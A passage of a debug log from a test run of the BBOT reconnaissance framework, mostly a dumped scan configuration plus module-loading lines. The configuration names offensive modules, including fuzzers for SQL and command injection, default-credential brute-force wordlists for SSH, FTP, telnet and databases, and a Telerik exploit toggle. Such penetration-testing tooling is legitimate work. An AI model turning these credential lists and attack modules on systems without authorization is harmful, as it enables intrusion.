'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_kvue4izjfx'}, 'started_at': '2026-02-27T19:10:17.252776', 'status': 'RUNNING'} +2026-02-27 19:10:17,957 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 19:10:17,957 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,958 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED +2026-02-27 19:10:17,958 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com +2026-02-27 19:10:17,958 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 {'target', 'unresolved', 'domain', 'in-scope'} +2026-02-27 19:10:17,958 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,959 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 19:10:17,959 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_enterprise_test_kvue4izjfx', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_kvue4izjfx', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_kvue4izjfx'}, 'started_at': '2026-02-27T19:10:17.252776', 'finished_at': '2026-02-27T19:10:17.810615', 'duration_seconds': 0.557839, 'duration': '0 seconds', 'status': 'FINISHED'} +2026-02-27 19:10:17,960 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 19:10:17,960 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,961 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 19:10:17,961 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 19:11:43,417 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 19:11:43,431 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 19:11:43,433 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 19:11:43,434 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 19:11:43,436 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 19:11:43,437 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 19:11:43,440 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 19:11:43,441 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 19:11:43,446 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 19:11:43,447 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 19:11:43,449 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 19:11:43,450 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 19:11:43,452 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 19:11:43,452 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 19:11:43,454 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 19:11:43,455 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 19:11:43,456 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 19:11:43,456 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 19:11:43,457 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 19:11:43,458 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 19:11:43,460 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:11:43,460 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:11:43,461 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:11:43,462 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:11:43,463 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:11:43,464 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:11:43,465 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:11:43,466 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:11:43,467 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:11:43,467 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:11:43,468 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:11:43,469 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:11:43,470 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:11:43,471 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:11:43,471 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:11:43,472 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:11:43,473 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:11:43,473 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:11:43,474 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:11:43,475 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:11:43,476 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:11:43,477 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:11:43,477 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 19:11:43,478 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 19:11:43,479 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 19:11:43,480 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 19:11:43,480 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 19:11:43,481 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 19:11:43,482 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 19:11:43,483 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 19:11:43,483 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 19:11:43,483 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 19:11:43,484 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 19:11:43,485 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 19:11:43,485 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 19:11:43,486 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 19:11:43,486 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 19:11:43,487 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 19:11:43,488 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 19:11:43,488 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 19:11:43,489 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 19:11:43,489 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 19:11:43,490 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 19:11:43,491 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 19:11:43,491 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 19:11:43,491 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 19:11:43,496 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 19:11:43,496 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 19:11:43,497 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 19:11:43,498 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 19:11:43,499 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 19:11:43,499 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 19:11:43,500 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 19:11:43,501 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 19:11:43,501 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 19:11:43,502 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 19:11:43,503 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 19:11:43,503 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 19:11:43,504 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 19:11:43,505 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 19:11:43,505 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 19:11:43,506 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 19:11:43,506 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 19:11:43,507 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 19:11:43,507 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 19:11:43,508 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 19:11:43,509 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 19:11:43,509 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 19:11:43,510 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 19:11:43,511 [DEBUG] bbot.module_loader 